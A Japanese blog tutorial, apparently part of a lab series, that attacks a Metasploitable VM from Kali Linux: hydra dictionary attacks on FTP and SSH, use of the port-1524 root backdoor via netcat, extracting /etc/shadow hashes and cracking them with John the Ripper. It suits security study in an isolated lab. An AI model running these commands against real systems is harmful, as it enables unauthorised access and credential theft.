はじめに
この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第4回です。
前回はvsftpdの脆弱性を突いてターゲット端末への侵入を試みました。
今回は辞書式攻撃の実験を行います。
連載記事一覧
ユーザーリストとパスワードリストを用意する
root@kali:~# cat > user.lst root sys msfadmin admin user service postgres tomcat ^C root@kali:~# cat > pass.lst user password 12345678 msfadmin root guest batman asdfasdf tomcat ←空行を入力。 ^C
辞書式攻撃でFTPアカウントを解析する
hydraのLオプションでユーザーリスト、Pオプションでパスワードリストを指定します。tオプションでターゲットに対する並列処理のタスク数を指定します(デフォルトで16)。
root@kali:~# hydra -L user.lst -P pass.lst -t 8 192.168.56.3 ftp Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-05 19:18:07 [DATA] max 8 tasks per 1 server, overall 8 tasks, 80 login tries (l:8/p:10), ~10 tries per task [DATA] attacking ftp://192.168.56.3:21/ [21][ftp] host: 192.168.56.3 login: msfadmin password: msfadmin [21][ftp] host: 192.168.56.3 login: user password: user 1 of 1 target successfully completed, 2 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-05 19:18:34
結果として以下の2つのユーザーパスワードの組み合わせでログインできることがわかります。
- login: msfadmin password: msfadmin
- login: user password: user
辞書式攻撃でSSHアカウントを解析する
SSHのアカウントを辞書式攻撃で解析してみます。最後のサービスプロトコルの箇所をsshにします。また、SSHは並列処理のタスク数が大きいと警告が出るので、4に減らしています。
root@kali:~# hydra -L user.lst -P pass.lst -t 4 192.168.56.3 ssh Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-05 19:23:37 [DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task [DATA] attacking ssh://192.168.56.3:22/ [22][ssh] host: 192.168.56.3 login: sys password: batman [22][ssh] host: 192.168.56.3 login: msfadmin password: msfadmin [22][ssh] host: 192.168.56.3 login: user password: user 1 of 1 target successfully completed, 3 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-05 19:24:07
結果として以下の3つのユーザーパスワードの組み合わせでSSHログインできることがわかります。
- login: sys password: batman
- login: msfadmin password: msfadmin
- login: user password: user
TCPのバックドアを利用
root@kali:~# nmap -sV -O -p- 192.168.56.3 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 20:05 EDT (略) 1524/tcp open bindshell Metasploitable root shell (略)
ポート1524(TCP)の「Metasploitablerootshell」は怪しいといえます。名前から誰かにすでに侵入されており、バックドア(ルート権限のシェル)が設置されていると推測できます。nmapでサービス名を確認すると、ingreslockというサービス名になっています。
root@kali:~# nmap -p 1524 192.168.56.3 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 20:11 EDT Nmap scan report for 192.168.56.3 Host is up (0.00048s latency). PORT STATE SERVICE 1524/tcp open ingreslock MAC Address: 08:00:27:FE:8C:BF (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
Netcatで接続してみると、rootのプロンプトが返ってきました。idコマンドやunameコマンドを実行見るとわかりますが、どうやらroot権限のシェルのようです。
root@kali:~# nc 192.168.56.3 1524 root@metasploitable:/# whoami root
"/etc/shadow"ファイルのうち、rootとmsfadminユーザーの行だけを抽出します。
root@metasploitable:/# cat /etc/shadow | grep -E "^root|^msfadmin" root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
抽出結果の2行をコピペしてKali側に"passwords"ファイルを作ります
そのあと、JohntheRipperを使ってパスワードを解析します。通常は先に辞書ファイルを使って解析しますが、ここでは総当たり攻撃で解析してみます。
root@kali:~# john --incremental passwords
[Space]キーを押すと途中経過を表示します。右に現在試しているパスワード候補が表示されます。[Ctrl]+[c]キーで中断できます。再実行すると解析の途中から始まります。再実行する際はrestoreオプションを指定します。
まとめ・次回
今回は辞書・総当たり形式で様々な形式のパスワード解析を行いました。 次回はwiresharkを使用してhttp解析を行いターゲット端末のtomcatへの侵入を試みます。